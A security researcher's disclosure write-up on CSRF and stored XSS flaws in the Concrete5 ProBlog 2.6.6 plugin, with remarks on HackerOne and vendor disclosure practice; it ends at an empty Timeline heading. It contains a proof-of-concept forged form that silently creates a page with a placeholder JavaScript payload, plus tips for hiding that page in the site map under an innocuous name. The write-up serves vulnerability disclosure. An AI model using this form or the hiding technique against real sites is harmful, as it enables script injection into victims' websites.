Hacking Concrete5 – ProBlog 2.6.6 & ProEvent 2.8.5 (CSRF, XSS, Side Effects)

Overview Link to heading

  • I talk about the last C5 plugin exploit I found
  • The CSRF & XSS exploit
  • Side Effects
  • Hackerone
  • Suggestions
  • Timeline

Last Time Link to heading

My last security report here concerned the ProEvents Concrete5 plugin. After the Portland Labs team reviewed the developer’s plugins, they posted on their blog that they were unable to find any further vulnerabilities.

img

I figured I would take a crack at it and see what I could find. I also hoped that the new security policies in place would allow for a smoother disclosure process.

Report Link to heading

Because the ProBlogs plugin does not validate the anti-csrf token on a POST request. A victim who is logged in could be fooled into clicking a malicious form (styled to look like a link, image, etc) which would create a page in their C5 website.

Because the ProBlogs plugin does not validate the parent cID asserting it is the actual Blog, the attacker could potentially place the page anywhere on the C5 site map tree.

CSRF & XSS Link to heading

You can easily style the following form below to look like an image or link. From there, social engineering or phishing techniques have a high probability of allowing someone to succeed with the attack.

<html>
<body>
  <form method="post" action="http://example.com/index.php/dashboard/problog/add_blog/add" id="blog-form">
  <input type="hidden" name="front_side" value="1">
  <input type="hidden" name="blogTitle" value="hack">
  <input type="hidden" name="blogDescription" value="hack">
  <input type="hidden" name="draft" value="0">
  <input type="hidden" name="blogBody" value="JAVASCRIPT_PAYLOAD_HERE">
  <input type="hidden" name="blogDate" value="2016-03-19">
  <input type="hidden" name="blogDate_h" value="5">
  <input type="hidden" name="blogDate_m" value="30">
  <input type="hidden" name="blogDate_a" value="PM">
  <input type="hidden" name="cParentID" value="0">
  <input type="hidden" name="ptID" value="1">
  <input type="hidden" name="akID[0][value]" value="1">
  <button type="submit">Add Post</button>
  </form>
</body>
</html>

Side Effects Link to heading

When a user clicks on our image or link the screen that is returned alerts them with a flash message of the successful update. But there is a side effect to this attack we can leverage. Just like many CMS products, C5 tends to leak page IDs. We can use this knowledge to create the page with our javascript payload anywhere on the site the user has permission because the Plugin(s) is not asserting the parent page.

Just change the value of the parent, to something desired. Then even if the user gets a successful flash response and they go digging in their blog section, they would not find our newly created page containing our malicious javascript code. They’d have to dig into their sitemap. Obviously we would name the page “Marketing” or something more suitable.

  <input name=“cParentID” type=“hidden” value=“0” />

img

Kudos Link to heading

Although I only reported the issues with the ProBlog plugin, the developer communicated promptly and then proactively fixed the issues in both of his plugins within three hours. As a customer I greatly appreciate this and as a researcher I appreciate the developer’s commitment to security.

HackerOne Link to heading

Unlike the previous report, HackerOne was utilized this time. I do think it helped the communication. The critical bit for me about HackerOne is that just because I’m reporting something using the vendor’s desired channel doesn’t mean I am agreeing to their specification for “Responsible Disclosure.” I believe HackerOne hasn’t really solved this.

Suggestions Link to heading

My submission required that I put the word “crayons” in the body and I missed it because it wasn’t in the “Requirements” section. I’m not the only reporter who has missed this. I’d remove it.

I’d remove the wall of text and just put a template of what you require.

As soon as the issue is fixed and the patch is on the marketplace, I’d recommend the issue be disclosed. My opinion is that all should get the information equally.

I believe that all comments for the exploit should be visible so that others can learn from the conversation. Both in how to disclose a vulnerability and also in thinking about how to code solutions to protect their own projects.

I also wanted to see a notification channel so that users can subscribe and be alerted (email, blog). PortlandLabs did take this suggestion and create a security blog but my post is up and their blog has no mention as of yet (link). I think the community should get this information as quickly as possible in an easily consumable format.

Timeline Link to heading